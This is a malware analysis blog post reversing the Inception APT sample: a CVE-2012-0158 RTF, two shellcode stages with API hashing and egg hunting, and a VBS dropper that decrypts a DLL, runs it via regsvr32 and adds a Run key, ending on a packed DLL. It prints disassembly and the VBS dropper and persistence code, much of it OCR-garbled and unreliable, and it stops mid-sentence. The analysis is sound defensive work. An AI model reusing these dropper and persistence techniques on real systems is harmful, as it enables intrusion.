Reversing the Inception APT malware

After reading the Inception paper by Snorre Fagerland and Waylon Grange, I got curious about this threat
and did some reversing. I felt that it would be good to write a technical blog about the process - maybe it

could be helpful or interesting for some.

RTF file Analysis
MD5: 4a4874fa5217a8523bf4d1954efb26ef
Exploit: CVE-2012-0158

As we can see in following screen shot, this is a RTF [Rich Text Format] file. Its common that attackers use

document files such as these as bait.

: B Z Z W\rtfii\ohjectNo
AnnnAR10a: bjocxi\*»\ohjdata
(51515151515 P45 5 F91 950000820000
(51515151515 K15 5 B8F16000000F6f 74
(61515151515 515 5 6b6cbf6164722e57

51515151515 Y5 52417373656d626¢c
5151515151575 792e3100.,8000000
51515151717 Pd 5 A,98000080.,01 800
5151515155515 #00F41 F91 8500005
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It is common that shellcode starts with a NOPsled. In following screenshot we can see that the embedded
shellcode starts with NOP slide. NOP, or No OPeration - is a single-byte opcode that does nothing. It has

the hex value of 0x9o0.

ABBB4B30: 2098989090202020
AB0B4B40: 20989881 ecBB1060
ABAB4B50: AB8bec33c2648h35
ABAB4B60: 380808088 h7608c8h
ABAB4B70: 761c8b5eB88h46 08
ABAB4B8A: 8b7e288hb3666394f
ABAB4B90: 1875£2895d0848945
ABAB4BAA: A8f £750868ad?h?d
ABAB4BBA: df e8hf BBOBBAE 245
ABRB4BCA: 28f £75086854caaf
ABAB4BDA: 21e8afBB0BBA8 245
ABAB4BEA: 24f£750868acB8da
ABAB4BFA: 76e892f000ABA8 245
ABRB4CHa: 28££7508681665fa
ABRB4C10: 18e88f000HBAA8 245
ABRB4C20: 2c6aB45e5456f £55
ABAB4C30: 2089859480800 HA8 3

Embedded Shellcode Analysis - First Level

Now, to the functionality of the shellcode. We will ignore the first two prolog instructions, and for

remaining statements I have inserted comments to help understanding what is happening in this chunk of



code. It’s traversing the TEB, the PEB and the Ldr structure to get the base addresses of ntdll.dll and

kernel32.dll. It needs these to find the API addresses it requires for the rest of the infection.

A0120ESS 81EC 0018080008
A8120ESE 8BEC

08120E?0 33C9

A81208E?2 64:8B35 30000000
08128E?9 8B76 @C
A8128EZC 8B76 1C
08128ESF 8BSE 68
A8128EA2 8B46 @8

081 28EAS 8B7E 208
A0128EA8 8B36

08128EAA 66:394F 18
A0128EAE |~ 75 F2

081 20EBA 895D B4

A0128BEB3 8945 @8

SUB
MOU
Z0R
MOU
MOU
MOU
MOU

ESP, 1000
EBP., ESP ESI=PEB

ECX. ECX
ESI.DVORD PTR Fs:[:m]/ _~FESI=PEB->Ldr

ESI.DWORD PTIR DS:[ESI+C]-
ESI.DWORD PTR DS:[ESI +1C] PEB->Ldr.InInitOrder
EBX .DWORD PTR DS:[ESI+

MOU
MOU
MOU
CMP
JNZ
MOU
MOU

DUORD PTR SS:[EBP+41,EBX

Secur32.<{ModuleEntryPoint>

A AannTrano

EAX.DWORD PTR DS:[ESI+8] EBX = |n|mt0lﬂerD(]base address 3

Ihi-UER I3 B
WORD PTR DS:[EDI+181,CX Loop ta find K°m°'32
SHORT @@12@EA2

DWORD PTIR SS:[EBP+81.EAX

Il Base address

ntdll.?C?00660
kernel32.7C8006000

In screenshot below, Function 00120F82 is the malware's own GetProcAddress function which takes two

parameters

1. Base address of the system dll

2. Hash of the API name.

The function returns the memory address of the API.

FF?75 @8
68 ADYB7DDF
E8 BFOAAB6060O
8945 26
FF?75 @8
68 54CAAF?1
E8 AFAB0B060
8945 24
FF?75 @8
68 ACABDA?6
E8 9F0A80080
8245 28
FF?75 @8
68 1665FA10
E8 8FOAA0RONBO
8945 2C

PUSH DUORD PTR SS:[EBP+81
PUSH _DF'?D9 BAD
CALL Hash for GetfileSize

MOU DWORD PTR S$S: [EBP+201. EAX
PUSH DUWORD PTR SS:[EBP+81

PUSH Hash far VirtualAllac

CALL

MOU DWORD PTR S$S8: [EBP+241.EAX
PUSH DWORD PTR SS:[EBP+81

PUSH Hash for SetfilePairter

CALL

MOU DMORD PTR SS: [EBP+28 1. EAX
PUSH DUWORD PIR SS:[EBP+81

PUSH
CALL

Hash for ReadFile

MOU DUWORD PTR SS:[EBP+2C1.EAX

kernel32.7C8080060

kernel32.?7C8000080
kernel32.?7C800060

kernel32.?7C800000
kernel32.?7C800060

kernel32.?7C800000
kernel32.7C800000

kernel32.7C800000

Functionality of function 00120F82 ( GetProcAddress)

As shown in the next screenshot, this function parses the “export name pointer table” of the .dll [ex.

kernel32.dll] and generates a hash for each function. It compares this with the argument API hash (Ex
DF7D9BAD for GetFileSize, see above screenshot) using the CMP EDI, ESI instruction. Once the matching

API is found it parses the Export Address Table and returns the respective API address to the caller in

EAX register.




#0120F82 IS PUSH EBP

AP120F83| SBEC MOU EBP,ESP

@P120F85| 57 PUSH EDI

AP120F86 | 8B?D @8 MOU EDI,DWORD PTR SS:[EBP+81

AP12AF89 | 8BS5D @C MOU EBX.DWORD PTR SS:[EBP+C]

88128583 3373 3C ggﬁHnglnuonn PTR DS: [EBX+3C]

PB120F8S N : +

99120F90 |. EB 86 JMP SHORT P@120F98 Get PE Header offset
AP120F92| 90 NOP

AP120F93| 90 NOP

AP120F94| 90 NOP

@P120F95| 90 NOP

AP120F96| 90 NOP

@P120F97| 9@ NOP

GBIZBE?S 333333 78 Egg Eg§,gggnn PTR DS:[EBX+ESI+781

@61 20F9C .

AP128F9E| 56 PUSH ESI \"“||-1AGE_E)(PURT_D|RECTUR‘I'

aa12@ggF gg;g 20 Egg Eg§,gggnn PTR DS:[ESI+2081

@61 2@FA2 . : )

@0120FA4| 33C9 XOR ECX.ECX  EXPORT Name Pointer Table
AP120FAG | 49 DEC ECX

@P120FA7| 41 INC ECX

@P120FA8 | AD LODS DWORD PTR DS:[ESI]

AP120FA9 | ©3C3 ADD EAX,EBX

@P120FAB| 56 PUSH ESI

@P120FAC| 33F6 XOR ESI,ESI

AP12AFAE| OFBE10 MOUSX EDX,BYTE PTR DS:[EAX]

aglzgggi 3gngs SgpsggﬁthlileBD

#91268FB3 5% A .

@012@FB5 | CLCE @D ROR ESI,®D Algarithm ta generate Hash
@AP120FB8 | ©3F2 ADD ESI.EDX

@P120FBA| 40 INC EAX

@P12@0FBB |~ EB Fi JMP SHORT @@128FAE

@P120FBD| 3BFE CMP EDI,ESI

@P120FBF| 5E POP ESI

@P120FCA |~ 75 E5 JNZ SHORT @@128FA?

@P120FC2| 5A POP EDX

AP12AFC3 | 8BEB MOU EBP,EBX ]

AR120FCS5| 8BS5A 24 MOU EBX,DWORD PTR DS:[EDX+241 Ordinal Table RYA
AP12AFCE |  @3DD ADD EBX.EBP

AP120AFCA| 66 :8BACAB MOU CX,WORD PTR DS:[EBX+ECX»21

AA120FCE| 8B5A 1C MOU EBX,DWORD PTR DS:[EDR+1C1——NRYAtnEAT
AP12AFD1 | @3DD ADD EBX.EBP

AP12AFD3 | SBA48B MOU EAX.DUORD PTR DS:[EBX+ECK*41pus o apy
@R120FD6 | ©3C5 ADD EAX.EBP ¢
@P120FD8 | SE POP ESI

@P120FD9| S5F POP EDI

@P120FDA| 5D POP EBP

AP12AFDB| C2 B898 RETN 2

The document contains two levels of shellcode. We are analyzing first level, and in the following code we
can see a typical egghunting method: It attempts to open the already opened rtf file by checking file
handles in memory. It starts with a handle with the value 4 and verifies it by doing GetFileSize on it. If this
fails it does ADD ESI,4 again (adds 4 to the handle) until the API succeeds. When this happens it checks
the file offset 0x8300 for the marker 0x54405450. Again, if this matches up, it allocates memory into

which it reads the file content and jumps to the 2™ level shellcode with a JMP EBX.



#8120EF6
A0120EF8
0081 20EF?
#8120EFA
#8120EFB
081 20EFE
A81206F04
#0120FQA7
08120FQA92
#8120FAC
#8120FAD
081 20FAF
A08120F12
#8120F14
#8120F16
08120F18
#8120F1D
AB1206F1E
A0120F21
08120F27
08120F29
08120F2A
#8120F2C
A0120F32
A8120F33
008120F34
08120F37
A8120F41
081208F43
A0120F492
#8120F4B
#8120F508
081 20F56
A8120F58
A08120F5B
A8120F61
08120F67
08120F692
A8120F6A
A81206F76
A08120F71
08120F77
081 20F7A

08120F88

6A B4
SE
54
56
FF55 20
8985 94800000
83F8 FF
v 75 86
83C6 B4
56
~ EB E%
83F8 08
~ ?6 F5
6A 80
6A 80
68 808308600
56
FF55 28
8D85 200ABNGA
6A 80
58
6A @8
8D85 9CHBB00HO
58
56
FF55 2C
81BD 2CH00000
~ 7?5 C6
89B5 98800000
6A 40
68 00160000
FFBS ABBABO00
6A 80
FF55 24
8985 A4800000
8D?D 2080000H
6A 80
53
EEBS ABBBBRRO
FFBS 98000000
FF55 2C
8B?D A4800000
- FFE3

56544054

PUSH 4

POP ESI

PUSH ESP

PUSH ESI

CALL DWORD PTR SS:[EBP+2@81
MOU DUWORD PTR SS:[EBP+241.EAX
CMP EAX.-1

JNZ SHORT 00120FAF

ADD ESI.4

PUSH ESI

JMP SHORT ©0128EF8

CMP EAX.0

JBE SHORT 00128F@8%

PUSH @

PUSH 8308 | Marker Offsetin .riffile

PUSH ESI

CALL DWORD PTR SS:[EBP+281

LEA EAX.DWORD PTR SS:[EBP+281

PUSH @

PUSH EAX

PUSH 8

LEA EAX.DWORD PTR SS:[EBP+2C]

PUSH EAX

PUSH ESI

Lt .
H +

JNZ SHORT ©0120FA%

MOU DUWORD PTR SS:[EBP+981.ESI

PUSH 46

PUSH 1664

PUSH DWORD PTR SS:[EBP+AB1]

PUSH @

CALL DWORD PTR SS:[EBP+241]

kernel32.GetFileSize
kernel32.ReadFile

kernel32.SetFilePointer
kernel32.ReadFile

kernel32.ReadFile

kernel32.ReadFile
Egg Hurt Marker for Secand level Shell cade

kernel32.Virtualflloc

MOU DUWORD PTR SS:[EBP+A41.EAX
LEA EBX.DWORD PTR SS:[EBP+%201
PUSH @

PUSH EBX

PUSH DWORD PTR SS:[EBP+A@1]
PUSH EAX

PUSH DWORD PTR SS:[EBP+981
CALL DWORD PTR SS:[EBP+2C]

kernel32.ReadFile

kernel32.7C802654
kernel32.ReadFile

kernel32.ReadFile

e Skip marker and Jump ta secand level shellcade

Second Level Shell Code Analysis

Now we have landed into the second level shellcode, but it is obfuscated to evade static analysis. At the

initial stage there are few instructions waiting to help us. This is the deobfuscation code. We can see that

0x23B * 4 is the number of bytes obfuscated, POP EBX is the get EIP instruction and 0x5687F945 is the
deobfuscation XOR key.



Befare Deabfuscation After DeObfuscation

N5 NOP NOP
W17FANA1 |NOP NOP

@1 7FAAA2 | PREFETCH QWORD PTR DS:[EAX] PREFETCH QWORD PTR DS:[EAX1]
@1 7FAAAS |[ROR ECX.ECR XOR ECX.ECX

A1 7FARA7 MOV ECX [23B] MOU ECX.23B

@1 7FAAAC |FSTP ST FSTP ST

@1 7FANAE |NOP NOP

A1 7FAAAF |[ESTEh 28-BYTE> PTR SS:[ESP-C] FSTENU <28-BYTE> PIR SS:[ESP-C1
@17F@913 [POP EBX| POP EBX

A1 7FAA14 |SOR DWORD PTR DS:[EBX+141,/5687F945| XOR DUWORD PTR DS:[EBX+141,5687F%45
@1 7FAA1B |SUB EBX.-4 SUB EBX,-4

@1 7FAP1E 14 LOOPD SHORT @17F80814

@1 7FAA20 [LODS DWORD PTR DS:[ESI] CALL B17F00A79

@1 7FAA21 |LODS DWORD PTR DS:[ESI] LODS DWORD PTR DS:[ESI]
@17FAA22 |RCHG DWORD PTR DS:[ESI+451,EDX WAIT

@1 7FAA25 |PUSH ESP JGE SHORT @17F@008

@1 7FAA26 |SBB AL.2B LODS BYTE PTR DS:[ESI]
917F0028 (CALL FAR E2EF:338C8F55 OR DL.BL

@1 7FAA2F |[LODS BYTE PTR DS:[ESI] JBE SHORT @17F0844

@1 7FAA30 |[PUSH EBP CLI

A17FAA31 |ADC EAX.2495510 ADC AH.CH

@1 7FAA36 |ADC BYTE PTR DS: [EBX+DC4DCA4A1.CH XCHG EAX,EDI

@1 7FAA3C |[PUSH DS ADD ECX.DWORD PTR DS:[EBX+EDI=8]
@1 7FAA3D |ADC ECX.ESI XCHG EAX,EDI

A17FAA3F [FSUBR QUORD PTR SS:[EBP+AC?7560D201 STD

@1 7FAA45 |[POPAD RDPMC

91 7F0A0B46 SHORT @G17F0024 RETF 5B8n

A1 7FAA48 EBX JMP FAR 238A:D9E88A49

A1 7FAA49 ESP.ESI JMP 18@9FEE1

@1 7FAA4B ECX . EFASAF73 JO SHORT ©17F@BBE

A1 7FAA50 DWORD PTR DS:[EDI+E636B45F1.EAX OUT DX.EAX

@1 7FAA56 MUL BYTE PTR SS:[EDX1]

A1 7F@0A5 7?7 ESP MOU ECR,E2D87E?C

@1 7FAA58 [LODS DWORD PTR DS:[ESI] JNB SHORT @17F0075

A17F0AB59 |JA SHORT @O17F0824 JNS SHORT @17F0862

A1 7FARSR [([POP_EAX CALL EDSD4EEB

In following code we can see the hexadecimal value that corresponds to the library name being pushed to
the LoadLibrary function, as well as two loops to get the API addresses using “CALL 02E203E2” function.

Here also it uses hashes to look up APIs.

Hash API Hash API

73E2D87E | ExitProcess | 0C0397EC | GlobalAlloc
7CB922F6 | GlobalFree | 10FA6516 | ReadFile
36EF7370  GetCommandLineA 76DA0SAC  SetFilePointer
OESAFEQS8 WinExec ' DF7D9BAD  GetFileSize
E9238AD9g | _lwrite | 6DD38706 | CoUninitialize
E88A49FA | _lcreat | EB9Eo5F5 | CoSetProxyBlanket
5B8ACA33 | GetTempPathA | 6E26C880 | CoCreatelnstance

oFFD97FB | CloseHandle 7FC7A3CB  ColnitializeEx



B2E2008A7
B2E200A8
A2E208AD
B2E2080B2
B2E2008B4
A2E2080B5
A2E200B8
B2E200BA
A2E208BC
B2E208BD
A2E208C0H
A2E200C1
B2E2080C2
B2E20808C6
A2E2808CB
B2E208CC
A2E208D08
B2E2080D2
B2E2088D5
B2E2080DA
A2E208DF
B2E200E4
B2E200E6
A2E200E?
B2E200EA
B2E208ED
A2E200EF
A2E200F1
B2E200F6
A2E200FB
B2E208FD
B2E208FE
A2E208161
B2E20103
B2E20185
B2E201086
A2E201089
B2E2016C
B2E2018D
A2E2010E
B2E20112
B2E20117
A2E20118
B2E2011C
B2E2011F

58

68 656C3332
68 6B65726E
8BC4

53
FF?48F FC
Eg 176360000

89448F FC
E2 EE

33CH

58

68 646C6CAA
68 6173652E
68 636F6D62
8BC4

58

FF57 34
83F8 00

?5 12

6A 6C

68 322E646C
68 6F6C6533
8BC4

58

FF57 34
8BD8

FF748F FC
ES CBE20000
89448F FC
83E9 10
LZBED

PUSH EAX

PUSH 32336C65

PUSH 6E72656B Kernel32

MOU EAX.ESP

PUSH EAX

CALL DWORD PTR DS:[EDI+3C1]
MOU EBX.EAX

PUSH 18

POP ECX

PUSH ECX

PUSH EBX

PUSH DWORD PTR DS: [EDI+ECX»*4-4]
CALL B2E203E2

POP ECX

MOU DWORD PTR DS: [EDI+ECX»*4-41,EAX
LOOPD SHORT @A2E288CH

A0R EAR .EAR

PUSH EAX

PUSH 6C6C64

PUSH 2E657361 combase.dll
PUSH 626D6F63

MOU EAX.ESP

PUSH EAR

CALL DWORD PTR DS:[EDI+341]
CMP EAX.0

JNZ SHORT @2E20161

PUSH &C

PUSH 6C642E32

PUSH 33656C6F qle32.dll

MOU EAX.ESP

PUSH EAX

CALL DWORD PTR DS:[EDI+341
MOU EBX.EAX

PUSH 5

POP ECX

MOU EDI .DUWORD PTR SS:[EBP-41

ADD ECX.106

PUSH ECX

PUSH EBX

PUSH DUWORD PTR DS:[EDI+ECK*4-4]
CALL A2E203E2

POP ECX

MOU DWORD PTR DS: [EDI+ECX»*4-41,EAX
SUB ECX.10

LOOPD SHORT ©2E281089

kernel32.LoadLibraryf

kernel32.?7C8008000

kernel32.LoadLibraryf

kernel32.LoadLibraryf

kernel32.?7C800800

In the following code it searches for the embedded VBS file inside the RTF file in memory. It checks for

the file size in a loop, and if the size is larger than 0x2000 then it sets the file ponter to 0x8C14 to compare

with the VBS file marker as we can see in following screenshot.



A2E20121
A2E20123
A2E20124
B2E20127
A2E20128
A2E20129
A2E2012B
A2E2012D
B2E201308
A2E20135
A2E20136
B2E20137
A2E201392
A2E2013E
A2E20140
A2E20141
A2E20142
A2E20144
A2E20146
A2E20148
A2E2014D
A2E2014E
A2E20151
A2E20153
A2E20155
A2E20158
A2E201592
A2E2015B
A2E2015E
A2E2015F
A2E20160
A2E20163
A2E20165
A2E20167
A2E201692
A2E2016A
A2E2016B
A2E2016D
A2E20174
A2E20176
A2E20177
B2E20178
A2E2017A
A2E20181
A2E20183
A2E20184
A2E20185

~

~

~

~

EA
3D P8206000
84

EB DF
6A 608

(515)
68 148CH000

PUSH 1

POP ESI

LEA EAX.DWORD PTIR SS:[EBP-C]
PUSH EAX

PUSH ESI

MOV EﬂX DUWORD PTR DS:[EDI1
CALL E

MOU DHORD PTR SS:[EBP-181.EAX
CMP EAX.

JNZ SHORT B2E20139

INC E

PUSH ESI

INC ESI

PUSH ESI

JMP SHORT B2E20123
PUSH @

PUSH 8C14

MOU EAX.DWORD PTR DS:[EDI+41]
CALL EAX

PUSH @
LEA EAX.DWORD PTR SS:[EBP-141]
PUSH EAX

PUSH 8
LEA EAX,DWORD PTR SS:[EBP=481

PUSH EAR

PUSH ESI

MOU EAX,DWORD PTR DS:[EDI+81

CALL EAR

TEST EAX,EAX

JNZ SHORT @2E20816D

INC ESI

gggusuonr @2E20123

CMP DWORD PTR SS:[EBP=481,44506450)]
JE SHORT @2E2817A

INC ESI

PUSH ESI

O L SRR i Tt
JE SHORT @2E20187

INC ESI

PUSH ESI

JMP SHORT @2E2@8123

kernel32.GetFileSize

kernel32.SetFilePointer

kernel32.ReadFile

¥BS file start Marker

After finding the VBS marker in memory, it decrypts the VBS file in two iterations. In the first loop it

decrypts and in the second loop it swaps the low and high bytes of the first 0x100 16-bit words, after which

it writes the file to a file named “Temp/ew_Rg.vbs”.



B2E201EC
B2E201EF
B2E201F2
A2E201F3
B2E201FA
B2E201FC
B2E20203
B2E20285
B2E20207
B2E208280D
A2E2020E
B2E20213
B2E20216
B2E2021C
B2E2021F
B2E20221
A2E20223
A2E20225
B2E20227
B2E20229
B2E2022B
B2E20231
B2E20234
A2E20236
B2E20237
B2E20239
B2E2023B
B2E2023D
B2E20243
A2E20244
A2E20247
B2E2024A
B2E2024D
B2E2024F
B2E20254
B2E20257
A2E20259
B2E2025C
B2E20262
B2E20265
B2E20266
B2E20267
B2E2026C
A2E202708
B2E20274
B2E20278
B2E2027E
A2E20281
A2E20284

8345 E8
8945 DC

48

8A9483 368CHBOO
32D8

889403 308CHA0G

?? EB
2385 B8FEFFFF

68 F800B0O0
FF57 14

8DBB 388CHA0BA
83C9? FF

33CH

F2:AE

F?D1

2BF9?

8DBD BSFEFFFF
83C2? FF
F2:AE

2385 B8FEFFFF
8B7D FC

FF57 18

83F8 FF

75 85

E? 893%0833

89245 C
8BDO

FF?5 E8

8D83 388CHAAG
@345 E@

50

52

B? 68018060
8A5448 FE
8A7448 FF
887448 FE
885448 FF

ADD EAX.DWORD PTR SS:[EBP-181]

DEC EAX

MOU DL.BYTE PTR DS:[EBX+EAX+8C301]
#0R DL.AL

MOU BYTE PTR DS:[EBXR+EAX+8C301.DL
TEST EAX.EAX

JA SHORT B2E201F2

LEA EAX.DWORD PTR SS:[EBP-1481]

PUSH EAX

PUSH @F8

CALL DWORD PTR DS:[EDI+141]

LEA EDI.DWORD PTR DS:[EBX+8C381]
OR _ECH.FFFFFFFF

Z0R EAX.EAX

REPNE SCAS BYTE PTR ES:[EDI]
NOT ECX

SUB EDI.ECX

MOU ESI.EDI

MOU EDX.ECX

LEA EDI.DWORD PTR SS:[EBP-1481
OR ECX, FFFFFFFF

REPNE SCAS BYTE PTR ES:[EDI ]
DEC EDI

MOU ECX.EDX

REP MOUS BYTE PTR ES:[EDI1.BYTE PTR DS:[ESI]

PUSH 2

LER EAX .DUWORD PTR SS:[EBP-1481
PUSH EAX

MOU EDI.DWORD PIR SS:[EBP-41]
CALL DHORD PTR DS:[EDI+181]

CMP ERAX.

JNZ SHORT 92E28254

JMP B2E283D

MOU DUWORD PTR SS:[EBP-381.EAX
MOU EDX.EAX

PUSH DWORD PTR SS:[EBP-181

LEA EAX.DWORD PTR DS:[EBX+8C3@1]
ADD EAX.DUWORD PTIR SS:[EBP-201
PUSH EAX

PUSH EDX

MOU ECX.100

MOU DL.BYTE PTR DS: [EAX+ECK%2-21]
MOU DH.BYTE PTR DS: [EAX+ECK»*2-11]
MOU BYTE PTR DS:[EAX+ECK*2-21,.DH
MOU BYTE PTR DS:[EAX+ECX»*2-11,DL
LOOPD SHORT B2E2826C

CALL DWORD PTR DS:[EDI+iC]
PUSH DWORD PTR S$S:[EBP-381
CALL DWORD PTR DS:[EDI+181

Payload .VBS file Analysis

Decryption Loop

kernel32.GetTempPathA

Create ew_Rg.vbs file in Temp
kernel32._lcreat

Swaps bytes within a word

Write to ew_Rg.vbs file
kernel32._lurite
kernel32.CloseHandle

The following screenshot shows a part of the .VBS payload file dropped by .RTF file. First line is the

encrypted .dll 4™ line contains Key to decrypt the .dll. Remaining part is self-explanatory.

c="1%1%0 heaiccbcdablhbbigd| {~ | fbdawl hihhea kdfdbdhfahaea' faa dhebe b fahbehfhbbbihh gfdeas” Encrypted DLL

EEARVE=

b="C1129DE3E96440962RAR7ASDC1D6B4CAB6AIF2RB4EEE5842E0E466A9DFI9B1DCT4A3D2A2061F110E516E92AD41207 Encrypted blob
k="6457608516332341288226746586624154086885102464244618751067104852302006782586882268807" Key to decrypt DLL

n="ymiprvse.dil" Dropped DLL name
pR="muRneRsis"  Binary blob name
v="pemanakat”

Run key

The instruction ¢ = Crypt(c,k) function decrypts the encrypted dll and returns the decrypted dll. (See the

screenshot above)

c= encrypted dll.

k = decryption key.



Functicn Crypt( Str, Key )
ReDim RetStr(Len(Str))
Pos = 1
For x = 1 To Len(Str)
RetStr(x) = Chr( Asc(Mid(Str,x,1)) - Asc(Mid(Key,Pos,1l)) )
Pos = Pos + 1
If Pos > Len(Key) Then Pos =1
Next
Crypt = Join(RetStr,"")
End Function

Following function writes byte by byte to the dropped.dll file.

Function WB(FN, Buf,sz)
With f£so.CpenTextFile(FN, 2, True)
For x = 1 To sz Step 2
.Write Chr(Clng("szh" & Mid(Buf,x,2)))
Next
.Close
End With
End Function

Finally, the following code executes the “regsvr32” command to run the wmiprvse.dll in silent mode and

sets the run key in registry.

For Each a in p
t = £30.BuildPath( WshShell.ExpandEnvironmentStrings(a), n)
1 = £s0.BuildPath( WshShell.ExpandEnvirconmentStrings(a), nn)
WB 1, b, Len(b)
WB t, c, Len(c)

If( £so.FileExists(l) and fso.FileExists(t) ) Then 'C:\WINDOWS\wmiprvse.dll -> Checks the file exists or not
st = regsvr+Chr(34)+t+Chr(34)+" /3"
If WshShell.Run(st, 0, false) = 0 Then 'regsvr32 "C:\WINDOWS\wmiprvse.dll™ /s -> runs this command if file exist
objReg.SetExpandedStringValue HCU,regkey,v,st 'Sets Run Entry
Exit For
End If
End If
Next

Payload “wmiprvse.dll” file Analysis

This first level of deobfuscation in wmiprvse.dll takes around 3-4 minutes to finish. Then it allocates
memory using VirtualAlloc and writes the unpacked code to newly allocated memory before it jumps to

the unpacked code as shown in following screen shot.



loc_100E00847: ;

48h

10830086h H

eax, [ebp+var_19C]
ecx, [eax+50h]

ecx ;

8
ebp+IpAddress], eax
[ebp+1pAddress], @
loc_108EB54D

duSize

f1Protect

flAllocati

; 1pAddress

|

1 [ENLL
106E0060C mov ecx, [ebp+var_1B4] 100E0047
18BE0012 mousx edx, [ebp+ecx+var_2B0] 100E0047
1088E861A push edx ; int 1080E8047 push
1080E061B call _ispunct 100E0649 push
100E0020 add esp, 4 100EBB4E mov
100E0023 test eax, eax 106E0054 mov
186E0625 jz short loc_106E0645 1688E0657 push
180E8058 push
106E0685A call
100E808608 mov
100E00866 cmp
1688E066D jz
|
EN L EIN Ll
10806E8027 mov eax, [ebp+var_1H4]180E0873 mov edx, [ebp+lpAddress]
100E6802D mousx ecx, [ebp+eax+vdr [180EB879 push edx ; int
100E0035 add ecx, 1 108EB67A push 46h ; uBytes
100E0038 mov edx, [ebp+var_1H4]180EGB7C mov eax, [ebp+uar_300]
100E003E mov [ebp+edx+var_2BH],186EB0882 push eax ; int
100E0083 mov ecx, [ebp+var_3c4]
106E0089 push ecx int
100E008A mouzx  edx, [ebp+var_ 1ns]
106E60691 push edx ; int
106E0692 call sub_16089FF 088
108E6097 add esp, 14h

This dll has 3 layers of unpacking. The one above is level one, below iyou can see level two. We can see

the passing of the control to the newly unpacked .dll @CALL EAX.

E File View Debug Plugins Options Window Help

nType!
[ENLL
100EB41F
100E041F loc_108E041F:
106EB41F mov edx, [ebp+var_19C]
100E08425 push edx
108E8426 push O6F8h
100E 68428 mov eax, [ebp+uvar_1A0]
106E0431 push eax
100EB432 lea ecx, [ebp+var_3B0]
1080E08438 push ecx
106E6439 call sub_1000C9E@
100EB43E add esp, 16h
100E0441 mov eax, [ebp+var_388]
100E08447 add eax, [ebp+lpAddress]
180E6844D push 5]
108E844F push 1
1080E8451 push ebp+lpAddress]
100E 0457 ﬁm
106E08459 mov ebp+var_3B8], 0
100E0463 jmp short loc_186EB474

I

Paused JJI rinf s+ $4 H »f LiE[MIT|WIH[c|/[K|BIR|..|S]|

2]

?FF7FBSF |- JMP SHORT 7FF7FBF? ~|Registers (FPUD < <
?FF7FB91 sB95 64F9FFFF MOU EDX,DWORD PTR $S:[EBP-69C1 4—1m§1§E§§§E£5

?FF?FB%7| 52 PUSH EDX ECX 999PR0A00

?FF?FB98 E8 93010000 CALL 7FF?7FD30 EDX 9PRRR0R00

?FF?FB9D 83C4 094 ADD ESP.4 EBX 7FF70008

?FF?7FBAA 85CH TEST EAX.EAX ESP ARB?CCER

?FF?FBA2 |. 75 20 JNZ SHORT ?FF?FBC4 EBP 998@87D390

7FF7FBA4| 68 PASPPPOO PUSH sa ESI PRRABBR1

?FF?FBA9 6A 60 PUSH EDI PPPRRRRG

7?FF7FBAB snss 64F9FFFF HOU Enx DWORD PTR SS:[EBP-69C1

2FF?FBB1 PUS EIP [2FF?FBF5

?FF?FBB2 FF15 1400F97F anL DWORD PIR DS: [?FF900141 ;

7FF7FBES | C?785 64F9FFFF 00OBAP0O |MOU DWORD PTR SS:[EBP=69C1,0 O el A Ly

?FF?FBC2 | EB 33 JHP SHORT ?FF?FBF? A B SS #8223 32bit @A(FFFFFFFF)

7FF?FBC4| 68 F8000GAA PUS Z @ DS 8823 32bit BC(FFFFFFFF)

?FF?FBC? 8B8D 64FEFFFF HOU ECX DWORD PTR SS:[EBP-19C1 =1s @ FS 883B 32bit ?FFDFABB(FFF)
?FF?FBCF 51 PUSH Ecx TB® GCS 88AA NULL

3£§3§ggg 3295 68F9FFFF %EgHﬂggﬁnuonn PTR SS:[EBP-6981 D @

e o SusH EDd 0 @ LastErr ERROR_SUCCESS <PPAARANG)
2FF?FBDC 83C4 @AC ADD ESP']B)SOR]) PIR SS*[EBP=6781 EFL 00006282 (NO.NB.NE.A.NS.PO.GE.G>
7FF7FBDF| 8B85 9BF9FFFF MOU EAX. : _
7FF7FBE5 | @385 64F9FFFF ADD EAX.DWORD PTR SS:[EBP-69C] e gzgzg et e e s
7FF7FBEB| 6A @@ PUSH @ ST2 empty —UNORM EBA@ 7C91@1BB 7C91017B
7FF7FBED| 6A @1 PUSH 1 ST3 empty —UNORM E?C4 B185ES8AC CHRRAA34
?FF7FBEF | FFBS5 64F9FFFF PTR 8S:[EBP-69C1 ST4 empty +UNORM 9018 B185E7B4 0ABAAO18
FFDO [ eALL EAX ST5 empty 0.0

?FF?FBF? 8B85 64F9FFFF RD PTR SS:[EBP-69C1 ST6 empty 8.8

?FF?FBFD 8 MOU ECX.DWORD PTR SS:[EBP-41 ST? empty 5.7365722974791921730
?FF?7FCA0 XOR ECX.EBP 3210 ESPUOZDI
ZFF7FC0O2 Es 59399399 CALL 7FF88961 FST 010 Cond @ @ @ 1 Err 8GO0 0 0 0 0 (LT
ZFF7PCA7|  8BES MOU ESP,EBP FCW B27F Prec NEAR,.53 Mask 111111
?FF?FCA9 5D POP EBP

7FF7FCOA| C2 8400 REIN 4

?FF?FCAD| CC INT3

?FF?FCOE| CC INT3

?FF?FCOF| CC INT3

?FF?FC18| 55 PUSH EBP

7FF?FC11| 8BEC MOU EBP,ESP

7FF7FC13| 83EC 20 SUB ESP.20 3

TRRIEC1 A QRAC (AN MNIl FaY NUARNH PTR CC-TrERPsR 1 —

< >

Address |Hex dump ASCII ~ gggggg?

?FF30000 4D 5A 90 00 03 00 00 00 04 OO OO OB FF FF 00 00 |MZE.¥...®... ..

7FF30010|B8 00 PP PP 0P OO OO 00|40 00 B0 PP 0P PP OO OO (3....... [ =| 8887 CCES 80000000

7FF30020 |00 00 9P PP 00 00 NP PP OO 00 OO OB OO B0 00 08| ................ a8a?CCEC 08880004

7FF30030 |00 00 AP PP 00 00 NP PP PP B0 0 VA ES 90 00 00| ............ 3. a8a?CcCFa 88pA1DDA

?FF30@40 |@E 1F BA GE @@ B4 @9 CD|21 BS B1 4C|CD 21 54 68 (Av|[A.4. =43GL=*Th 8007CCF4 “FF30000

?FF30050 |69 73 20 70|72 6F 67 72 61 6D 28 63 61 6E 6E 6F|is program canno 8087CCF8 088084550

7FF30060 |74 20 62 65|28 72 75 6E 20 69 6E 2@ 44 4F 53 28|t be run in DOS gggggggg gg?ggégg

3;533333 90B7CDA4 9PPBRRR00

FF39990 PBR7CDAS APRRRRRG

SFFI08A0 9087CDAC 210200EQ

S FFI00B0 9007CD10 90BAB10B

SFF398CH 90R7CD14 90826 Co0

gorchid | sosmnien

ZEEQQEEE ar AAA?CN2A AAA1 4F1 2

It's very time-consuming to understand the functionality of the dll as it decrypts and builds its own

